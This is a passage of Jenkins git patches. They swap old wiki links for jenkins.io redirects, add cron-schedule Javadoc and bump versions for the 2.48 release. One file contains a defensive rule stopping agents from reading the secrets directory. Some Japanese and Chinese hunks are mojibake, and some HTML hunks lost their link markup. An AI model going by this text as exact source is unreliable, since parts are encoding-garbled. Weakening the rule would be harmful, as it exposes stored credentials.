\u043A\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0435 \u0432\u0430\u043D ASCII \u043D\u0438\u0437\u0430 \u0443 \u0438\u043C\u0435\u043D\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0438\u0442\u0434, \u043C\u043E\u0436\u0435 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041E\u0442\u0438\u0452\u0438 \u0442\u0435 \u043D\u0430 \u041A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438 \u0438 \ + Tomcat i18n \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. Hudson.NodeDescription=\u0433\u043B\u0430\u0432\u043D\u0430 Jenkins \u043C\u0430\u0448\u0438\u043D\u0430 Hudson.NoParamsSpecified=\u041D\u0438\u0441\u0443 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0438 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438\u0437\u043E\u0432\u0430\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 CLI.restart.shortDescription=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 Jenkins diff --git a/core/src/main/resources/jenkins/model/Messages_zh_TW.properties b/core/src/main/resources/jenkins/model/Messages_zh_TW.properties index f6f91ac63f..d67098e7cd 100644 --- a/core/src/main/resources/jenkins/model/Messages_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Messages_zh_TW.properties @@ -35,8 +35,8 @@ Hudson.ViewAlreadyExists=\u5df2\u7d93\u6709\u53eb\u505a "{0}" \u7684\u8996\u666f Hudson.ViewName=\u5168\u90e8 Hudson.NotUsesUTF8ToDecodeURL=\ \u60a8\u7684\u5bb9\u5668\u4e0d\u662f\u4f7f\u7528 UTF-8 \u89e3\u8b6f URL\u3002\u5982\u679c\u60a8\u5728\u4f5c\u696d\u7b49\u540d\u7a31\u4e2d\u4f7f\u7528\u4e86\u975e ASCII \u5b57\u5143\uff0c\u53ef\u80fd\u6703\u9020\u6210\u554f\u984c\u3002\ - \u8acb\u53c3\u8003 Container \u53ca \ - Tomcat i18n \u8cc7\u6599\u3002 + \u8acb\u53c3\u8003 Container \u53ca \ + Tomcat i18n \u8cc7\u6599\u3002 Hudson.ReadPermission.Description=\ \u6709\u8b80\u53d6\u6b0a\u9650\u624d\u80fd\u770b\u5230 Jenkins \u7684\u5927\u90e8\u5206\u7db2\u9801\u3002\ \u5982\u679c\u60a8\u4e0d\u60f3\u8b93\u6c92\u901a\u904e\u9a57\u8b49\u7684\u4f7f\u7528\u8005\u770b\u5230 Jenkins \u7db2\u9801\uff0c\u8acb\u64a4\u92b7 anonymous \u4f7f\u7528\u8005\u7684\u6b0a\u9650\uff0c\ diff --git a/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly b/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly index 6385169b5d..bb1aa64e61 100644 --- a/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly +++ b/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly @@ -28,8 +28,8 @@ THE SOFTWARE.

                                                    - To reverse the effect of JENKINS-24380 fix, run the following command - on the server. See Wiki page + To reverse the effect of build record migration, run the following command + on the server. See documentation for more details:

                                                    diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html index a9dec4a07f..52babf7ea8 100644 --- a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html @@ -1,5 +1,5 @@
                                                    This API token can be used for authenticating yourself in the REST API call. - See our wiki for more details. + See our wiki for more details. The API token should be protected like your password, as it allows other people to access Jenkins as you.
                                                    \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html index 7def6fa51d..a1c92c37d5 100644 --- a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html @@ -1,5 +1,5 @@
                                                    APIトークンã¯ã€REST API使用時ã®èªè¨¼ã«ä½¿ç”¨ã•ã‚Œã¾ã™ã€‚ - 詳細ã¯Wikiã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + 詳細ã¯Wikiã‚’å‚ç…§ã—ã¦ãã ã•ã„。 APIトークンã¯ãƒ‘スワードã¨åŒæ§˜ã«ä¿è­·ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ãã†ã—ãªã„ã¨ã€ä»–人ãŒè©ç§°ã—ã¦Jenkinsã«ã‚¢ã‚¯ã‚»ã‚¹å¯èƒ½ã«ãªã‚Šã¾ã™ã€‚
                                                    \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html index ea7097fea7..512564dd8a 100644 --- a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html @@ -1,5 +1,5 @@
                                                    æ‚¨åœ¨å‘¼å« REST API 時è¦ä½¿ç”¨ API Token 驗證。 - 詳情請åƒè€ƒæˆ‘們的 Wiki。 + 詳情請åƒè€ƒæˆ‘們的 Wiki。 API Token 應該當åšå¯†ç¢¼ä¸€æ¨£å¥½å¥½ä¿ç®¡ï¼Œå› ç‚ºæœ‰äº†å®ƒï¼Œå…¶ä»–äººå°±èƒ½è·Ÿæ‚¨ä¸€æ¨£å­˜å– Jenkins。
                                                    \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties index 2daf3f7e8f..1c4f0310fb 100644 --- a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties @@ -1,9 +1,9 @@ pleaseRekeyAsap=\ - Because of a security vulnerability discovered earlier, we need to \ + Because of a security vulnerability discovered earlier, we need to \ change the encryption key used to protect secrets in your configuration files on the disk. \ This process scans a large portion of your $JENKINS_HOME ({0}), \ find encrypted data, re-key them, which will take some time. \ - See this document for more implications about different ways of doing this \ + See this document for more implications about different ways of doing this \ (or not doing this.) This operation can be safely run in background, but cautious users \ are recommended to take backups. diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties index 90928beebd..02192317a7 100644 --- a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties @@ -1,11 +1,11 @@ # This file is under the MIT License by authors pleaseRekeyAsap=\ - \u0417\u0431\u043E\u0433 \u043E\u0442\u0440\u0438\u0432\u0435\u043D\u0435 \u0440\u0430\u045A\u0438\u0432\u043E\u0441\u0442\u0438, \u043C\u043E\u0440\u0430\u043C\u043E \ + \u0417\u0431\u043E\u0433 \u043E\u0442\u0440\u0438\u0432\u0435\u043D\u0435 \u0440\u0430\u045A\u0438\u0432\u043E\u0441\u0442\u0438, \u043C\u043E\u0440\u0430\u043C\u043E \ \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0438 \u043A\u0459\u0443\u0447 \u0437\u0430 \u0448\u0438\u0444\u0440\u043E\u0432\u0430\u045A\u0435 \u0442\u0430\u0458\u043D\u0438 \u0434\u0430 \u0434\u0438\u0441\u043A\u0443. \ \u0422\u0430\u0458 \u043F\u0440\u043E\u0446\u0435\u0441 \u043F\u0440\u0435\u0442\u0440\u0430\u0436\u0438 \u0432\u0435\u043B\u0438\u043A\u0438 \u0434\u0435\u043E \u0432\u0430\u0448\u0435\u0433 $JENKINS_HOME ({0}) \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0430, \ \u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u0438\u0437\u0433\u0440\u0430\u0447\u0443\u043D\u0430 \u0445\u0435\u0448 \u0437\u0430 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435, \u0448\u0442\u043E \u043C\u043E\u0436\u0435 \u043F\u0440\u0438\u043B\u0438\u0447\u043D\u043E \u0434\u0443\u0433\u043E \u0442\u0440\u0430\u0458\u0430\u0442\u0438. \ - \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043E\u0432\u0430\u0458 \u0434\u043E\u043A\u0443\u043C\u0435\u043D\u0442 \u0433\u0434\u0435 \u0441\u0435 \u043F\u0438\u0448\u0435 \u043E \u0432\u0438\u0448\u0435 \u0438\u043C\u043F\u043B\u0438\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0434\u0440\u0443\u0433\u0430\u0447\u0438\u0458\u0435 \u043D\u0430\u0447\u0438\u043D\u0435 \ + \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043E\u0432\u0430\u0458 \u0434\u043E\u043A\u0443\u043C\u0435\u043D\u0442 \u0433\u0434\u0435 \u0441\u0435 \u043F\u0438\u0448\u0435 \u043E \u0432\u0438\u0448\u0435 \u0438\u043C\u043F\u043B\u0438\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0434\u0440\u0443\u0433\u0430\u0447\u0438\u0458\u0435 \u043D\u0430\u0447\u0438\u043D\u0435 \ \u041E\u0432\u0430 \u043E\u043F\u0435\u0440\u0430\u0446\u0438\u0458\u0430 \u0441\u0435 \u043C\u043E\u0436\u0435 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0443 \u043F\u043E\u0437\u0430\u0434\u0438\u043D\u0438, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043E\u0431\u0430\u0437\u0440\u0438\u0432\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \ \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u043D\u0430\u043F\u0440\u0430\u0432\u0438\u0442\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043D\u0435 \u043A\u043E\u043F\u0438\u0458\u0435 \u043F\u043E\u0434\u0430\u0446\u0438\u043C\u0430. diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties index 6887c4f899..4376595018 100644 --- a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties @@ -21,10 +21,10 @@ # THE SOFTWARE. pleaseRekeyAsap=\ - \u70ba\u4e86\u4fee\u6b63\u5148\u524d\u767c\u73fe\u7684\u5b89\u5168\u6027\u5f31\u9ede\uff0c\ + \u70ba\u4e86\u4fee\u6b63\u5148\u524d\u767c\u73fe\u7684\u5b89\u5168\u6027\u5f31\u9ede\uff0c\ \u7528\u4f86\u4fdd\u8b77\u78c1\u789f\u4e0a\u542b\u6a5f\u654f\u8a2d\u5b9a\u6a94\u7684\u52a0\u5bc6\u91d1\u9470\u4e00\u5b9a\u8981\u66f4\u6539\u3002\ \u6574\u500b\u7a0b\u5e8f\u6703\u6383\u63cf\u60a8 $JENKINS_HOME ({0}) \u4e2d\u7684\u5927\u90e8\u5206\u6a94\u6848\uff0c\u627e\u51fa\u52a0\u5bc6\u7684\u8cc7\u6599\u91cd\u5957\u91d1\u9470\uff0c\u53ef\u80fd\u8981\u82b1\u4e0a\u4e0d\u5c11\u6642\u9593\u3002\ - \u9019\u4efd\u6587\u4ef6\u8aaa\u660e\u4e86\u5be6\u65bd (\u6216\u4ec0\u9ebc\u4e8b\u90fd\u4e0d\u505a) \u9019\u9805\u63aa\u65bd\u7684\u65b9\u6cd5\u53ca\u5f71\u97ff\u3002\ + \u9019\u4efd\u6587\u4ef6\u8aaa\u660e\u4e86\u5be6\u65bd (\u6216\u4ec0\u9ebc\u4e8b\u90fd\u4e0d\u505a) \u9019\u9805\u63aa\u65bd\u7684\u65b9\u6cd5\u53ca\u5f71\u97ff\u3002\ \u9019\u9805\u4f5c\u696d\u53ef\u4ee5\u5b89\u5168\u7684\u5728\u80cc\u666f\u57f7\u884c\uff0c\u4e0d\u904e\u5982\u679c\u60a8\u5f88\u8b39\u614e\uff0c\u5efa\u8b70\u60a8\u5148\u505a\u597d\u5099\u4efd\u3002 rekeyInProgress=\u91d1\u9470\u91cd\u5957\u4e2d\u3002\u60a8\u53ef\u4ee5\u67e5\u770b\u8a18\u9304\u3002 diff --git a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf index 605668acd7..0905bd0ce8 100644 --- a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf +++ b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf @@ -17,7 +17,7 @@ deny all /secrets($|/.*) # User content is publicly readable, so quite safe for slaves to read, too. # (The xunit plugin is known to read from here.) -# https://wiki.jenkins-ci.org/display/JENKINS/User+Content +# https://jenkins.io/redirect/user-content-directory allow read,stat /userContent($|/.*) # In the next rule we grant general access under build directories, so first we protect diff --git a/core/src/main/resources/lib/hudson/queue.jelly b/core/src/main/resources/lib/hudson/queue.jelly index d66122f799..010fffb949 100644 --- a/core/src/main/resources/lib/hudson/queue.jelly +++ b/core/src/main/resources/lib/hudson/queue.jelly @@ -79,7 +79,7 @@ THE SOFTWARE.   - + diff --git a/core/src/main/resources/lib/layout/layout.properties b/core/src/main/resources/lib/layout/layout.properties index 2e349f762e..b904b8f879 100644 --- a/core/src/main/resources/lib/layout/layout.properties +++ b/core/src/main/resources/lib/layout/layout.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. # do not localize unless a localized wiki page really exists. -searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box +searchBox.url=https://jenkins.io/redirect/search-box logout=log out diff --git a/core/src/main/resources/lib/layout/layout_bg.properties b/core/src/main/resources/lib/layout/layout_bg.properties index 43583498cd..617000a662 100644 --- a/core/src/main/resources/lib/layout/layout_bg.properties +++ b/core/src/main/resources/lib/layout/layout_bg.properties @@ -27,4 +27,4 @@ logout=\ search=\ \u0422\u044a\u0440\u0441\u0435\u043d\u0435 searchBox.url=\ - http://wiki.jenkins-ci.org/display/JENKINS/Search+Box + https://jenkins.io/redirect/search-box diff --git a/core/src/main/resources/lib/layout/layout_ja.properties b/core/src/main/resources/lib/layout/layout_ja.properties index 292505a78e..d512aeabd4 100644 --- a/core/src/main/resources/lib/layout/layout_ja.properties +++ b/core/src/main/resources/lib/layout/layout_ja.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -searchBox.url=http://wiki.jenkins-ci.org/display/JA/Search+Box +searchBox.url=https://jenkins.io/redirect/search-box search=\u691c\u7d22 Page\ generated=\u30DA\u30FC\u30B8\u66F4\u65B0\u6642 logout=\u30ed\u30b0\u30a2\u30a6\u30c8 diff --git a/core/src/main/resources/lib/layout/layout_pt_BR.properties b/core/src/main/resources/lib/layout/layout_pt_BR.properties index 0b54c81590..bba621933b 100644 --- a/core/src/main/resources/lib/layout/layout_pt_BR.properties +++ b/core/src/main/resources/lib/layout/layout_pt_BR.properties @@ -22,7 +22,7 @@ search=pesquisar Page\ generated=P\u00E1gina gerada -# http://wiki.jenkins-ci.org/display/JENKINS/Search+Box -searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box +# https://jenkins.io/redirect/search-box +searchBox.url=https://jenkins.io/redirect/search-box # log out logout=sair diff --git a/core/src/main/resources/lib/layout/layout_sr.properties b/core/src/main/resources/lib/layout/layout_sr.properties index bcf87ace3d..c20bd5b80a 100644 --- a/core/src/main/resources/lib/layout/layout_sr.properties +++ b/core/src/main/resources/lib/layout/layout_sr.properties @@ -23,4 +23,4 @@ Page\ generated=\u0418\u0437\u0433\u0435\u043D\u0435\u0440\u0438\u0441\u0430\u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0430 logout=\u041E\u0434\u0458\u0430\u0432\u0438 \u0441\u0435 search=\u041F\u0440\u0435\u0442\u0440\u0430\u0433\u0430 -searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box +searchBox.url=https://jenkins.io/redirect/search-box diff --git a/licenseCompleter.groovy b/licenseCompleter.groovy index 788e51a529..9c6d8eca8e 100644 --- a/licenseCompleter.groovy +++ b/licenseCompleter.groovy @@ -8,7 +8,7 @@ complete { def lgpl = license("LGPL 2.1","http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html") def mitLicense = license("MIT License","http://www.opensource.org/licenses/mit-license.php") def bsdLicense = license("BSD License","http://opensource.org/licenses/BSD-2-Clause") - def jenkinsLicense = license("MIT License","http://jenkins-ci.org/mit-license") + def jenkinsLicense = license("MIT License","https://jenkins.io/mit-license") def ccby = license("Creative Commons Attribution License","http://creativecommons.org/licenses/by/2.5") diff --git a/pom.xml b/pom.xml index 26c4c243a2..27f9e02231 100644 --- a/pom.xml +++ b/pom.xml @@ -73,11 +73,6 @@ THE SOFTWARE. https://issues.jenkins-ci.org/browse/JENKINS/component/15593 - - jenkins - https://ci.jenkins-ci.org/job/jenkins_main_trunk/ - - @@ -103,7 +98,7 @@ THE SOFTWARE. 7 - https://jenkins-ci.org/changelog + https://jenkins.io/changelog - Also see + Also see this document for more about logging in Java and Jenkins. diff --git a/war/src/main/webapp/help/LogRecorder/logger_de.html b/war/src/main/webapp/help/LogRecorder/logger_de.html index 15bf60b3b7..5ce55eccd1 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_de.html +++ b/war/src/main/webapp/help/LogRecorder/logger_de.html @@ -10,6 +10,6 @@ Bei mehreren Einträgen wird jede Log-Meldung aufgezeichnet, die mindestens einem Eintrag entspricht ("ODER-Verknüpfung" der Einträge).

                                                    - + Mehr über Logging in Java und Jenkins... diff --git a/war/src/main/webapp/help/LogRecorder/logger_fr.html b/war/src/main/webapp/help/LogRecorder/logger_fr.html index 995dd33083..77d16f85c5 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_fr.html +++ b/war/src/main/webapp/help/LogRecorder/logger_fr.html @@ -8,6 +8,6 @@ Si vous avez des entrées multiples, une demande de log qui correspond à l'un d'entre eux sera bien enregistrée.

                                                    - Voyez également + Voyez également ce document pour plus de détails sur le logging en Java et avec Jenkins. diff --git a/war/src/main/webapp/help/LogRecorder/logger_ja.html b/war/src/main/webapp/help/LogRecorder/logger_ja.html index 4e9bff579e..d6c8352ec9 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_ja.html +++ b/war/src/main/webapp/help/LogRecorder/logger_ja.html @@ -8,6 +8,6 @@ 複数ã®ãƒ­ã‚¬ãƒ¼ã‚’登録ã™ã‚‹ã¨ã€ãれらã™ã¹ã¦ã‚’満ãŸã™ãƒ­ã‚°ãŒåŽé›†ã•ã‚Œã¾ã™ã€‚

                                                    - Javaã¨Jenkinsã®ãƒ­ã‚®ãƒ³ã‚°ã«ã¤ã„ã¦ã®è©³ç´°ã¯ã€ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚‚ + Javaã¨Jenkinsã®ãƒ­ã‚®ãƒ³ã‚°ã«ã¤ã„ã¦ã®è©³ç´°ã¯ã€ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚‚ å‚ç…§ã—ã¦ãã ã•ã„。 diff --git a/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html b/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html index e5556e2a1d..6024267571 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html +++ b/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html @@ -7,6 +7,6 @@ 如果您有多個記錄器,一筆記錄åªè¦ç¬¦åˆå…¶ä¸­ä»»ä½•ä¸€å€‹è¨˜éŒ„器設定,就會被錄製起來。

                                                    - 請一併åƒè€ƒé€™ä»½æ–‡ä»¶ï¼Œ + 請一併åƒè€ƒé€™ä»½æ–‡ä»¶ï¼Œ 了解 Java åŠ Jenkins 的記錄功能。 diff --git a/war/src/main/webapp/help/project-config/downstream.html b/war/src/main/webapp/help/project-config/downstream.html index 33853b49bd..997b1dfa59 100644 --- a/war/src/main/webapp/help/project-config/downstream.html +++ b/war/src/main/webapp/help/project-config/downstream.html @@ -14,8 +14,8 @@ from the current project location, like "grp/abc" where "grp" is located at the same level as the current project. Examples of plugins that provide such implementation include but are not limited to the - CloudBees Folder Plugin + CloudBees Folder Plugin and the - Multi-Branch Project Plugin + Pipeline Multibranch Plugin

                                                    \ No newline at end of file diff --git a/war/src/main/webapp/scripts/hudson-behavior.js b/war/src/main/webapp/scripts/hudson-behavior.js index ee0e4265d3..49c8aa0193 100644 --- a/war/src/main/webapp/scripts/hudson-behavior.js +++ b/war/src/main/webapp/scripts/hudson-behavior.js @@ -2459,7 +2459,7 @@ function shortenName(name) { // // structured form submission handling -// see http://wiki.jenkins-ci.org/display/JENKINS/Structured+Form+Submission +// see https://jenkins.io/redirect/developer/structured-form-submission function buildFormTree(form) { try { // I initially tried to use an associative array with DOM elements as keys -- GitLab From d1c21484c3658b93bffa4de51749ab60b2c4ff11 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 25 Feb 2017 20:56:25 +0100 Subject: [PATCH 666/712] [JENKINS-41864] More Javadoc, rephrase warning message --- .../main/java/hudson/scheduler/CronTab.java | 10 +++++++-- .../RareOrImpossibleDateException.java | 22 +++++++++++++++++++ .../hudson/triggers/Messages.properties | 2 +- 3 files changed, 31 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/scheduler/CronTab.java b/core/src/main/java/hudson/scheduler/CronTab.java index 9c17bb40e6..81fa5075c9 100644 --- a/core/src/main/java/hudson/scheduler/CronTab.java +++ b/core/src/main/java/hudson/scheduler/CronTab.java @@ -326,6 +326,9 @@ public final class CronTab { * See {@link #ceil(long)}. * * This method modifies the given calendar and returns the same object. + * + * @throws RareOrImpossibleDateException if the date isn't hit in the 2 years after it indicates an impossible + * (e.g. Jun 31) date, or at least a date too rare to be useful. This addresses JENKINS-41864 and was added in TODO */ public Calendar ceil(Calendar cal) { Calendar twoYearsFuture = (Calendar) cal.clone(); @@ -333,7 +336,7 @@ public final class CronTab { OUTER: while (true) { if (cal.compareTo(twoYearsFuture) > 0) { - // we went at least two years into the future + // we went too far into the future throw new RareOrImpossibleDateException(); } for (CalendarField f : CalendarField.ADJUST_ORDER) { @@ -384,6 +387,9 @@ public final class CronTab { * See {@link #floor(long)} * * This method modifies the given calendar and returns the same object. + * + * @throws RareOrImpossibleDateException if the date isn't hit in the 2 years before it indicates an impossible + * (e.g. Jun 31) date, or at least a date too rare to be useful. This addresses JENKINS-41864 and was added in TODO */ public Calendar floor(Calendar cal) { Calendar twoYearsAgo = (Calendar) cal.clone(); @@ -392,7 +398,7 @@ public final class CronTab { OUTER: while (true) { if (cal.compareTo(twoYearsAgo) < 0) { - // we went at least two years into the past + // we went too far into the past throw new RareOrImpossibleDateException(); } for (CalendarField f : CalendarField.ADJUST_ORDER) { diff --git a/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java b/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java index c45d18f808..7bd9d2562f 100644 --- a/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java +++ b/core/src/main/java/hudson/scheduler/RareOrImpossibleDateException.java @@ -26,6 +26,28 @@ package hudson.scheduler; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import java.util.Calendar; + +/** + * This exception is thrown when trying to determine the previous or next occurrence of a given date determines + * that it's not happened, or going to happen, within some time period (e.g. within the next year). + * + *

                                                    This can typically have a few different reasons:

                                                    + * + *
                                                      + *
                                                    • The date is impossible. For example, June 31 does never happen, so 0 0 31 6 * will never happen
                                                    • + *
                                                    • The date happens only rarely + *
                                                        + *
                                                      • February 29 being the obvious one
                                                      • + *
                                                      • Cron tab patterns specifying all of month, day of month, and day of week can also occur so rarely to trigger this exception
                                                      • + *
                                                      + *
                                                    • + *
                                                    + * + * @see CronTab#floor(Calendar) + * @see CronTab#ceil(Calendar) + * @since TODO + */ @Restricted(NoExternalUse.class) public class RareOrImpossibleDateException extends RuntimeException { } diff --git a/core/src/main/resources/hudson/triggers/Messages.properties b/core/src/main/resources/hudson/triggers/Messages.properties index c82efebf15..245b3c4de4 100644 --- a/core/src/main/resources/hudson/triggers/Messages.properties +++ b/core/src/main/resources/hudson/triggers/Messages.properties @@ -29,7 +29,7 @@ TimerTrigger.MissingWhitespace=You appear to be missing whitespace between * and TimerTrigger.no_schedules_so_will_never_run=No schedules so will never run TimerTrigger.TimerTriggerCause.ShortDescription=Started by timer TimerTrigger.would_last_have_run_at_would_next_run_at=Would last have run at {0}; would next run at {1}. -TimerTrigger.the_specified_cron_tab_is_rare_or_impossible=This cron tab will match dates only rarely (e.g. February 29) or \ +TimerTrigger.the_specified_cron_tab_is_rare_or_impossible=This schedule will match dates only rarely (e.g. February 29) or \ never (e.g. June 31), so this job may be triggered very rarely, if at all. Trigger.init=Initializing timer for triggers SCMTrigger.AdministrativeMonitorImpl.DisplayName=Too Many SCM Polling Threads -- GitLab From 84c78cfee14806e104968db50b0d2fb315a47ebf Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 26 Feb 2017 13:08:20 -0800 Subject: [PATCH 667/712] [maven-release-plugin] prepare release jenkins-2.48 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index c0e005dfb5..977048c5cc 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.48-SNAPSHOT + 2.48 cli diff --git a/core/pom.xml b/core/pom.xml index ccf1ef97e6..c7cbb8ec90 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48-SNAPSHOT + 2.48 jenkins-core diff --git a/pom.xml b/pom.xml index 27f9e02231..25ba070fb5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48-SNAPSHOT + 2.48 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.48 diff --git a/test/pom.xml b/test/pom.xml index a4d06805a0..778a46910e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48-SNAPSHOT + 2.48 test diff --git a/war/pom.xml b/war/pom.xml index 290ab2a480..1158656e1f 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48-SNAPSHOT + 2.48 jenkins-war -- GitLab From 3d1893e5bf47669ae4d6656dd9d403b2f84c8a32 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 26 Feb 2017 13:08:21 -0800 Subject: [PATCH 668/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 977048c5cc..d4ecc96bbe 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.48 + 2.49-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index c7cbb8ec90..2899add797 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48 + 2.49-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 25ba070fb5..373d1e4310 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48 + 2.49-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.48 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 778a46910e..de25009fe3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48 + 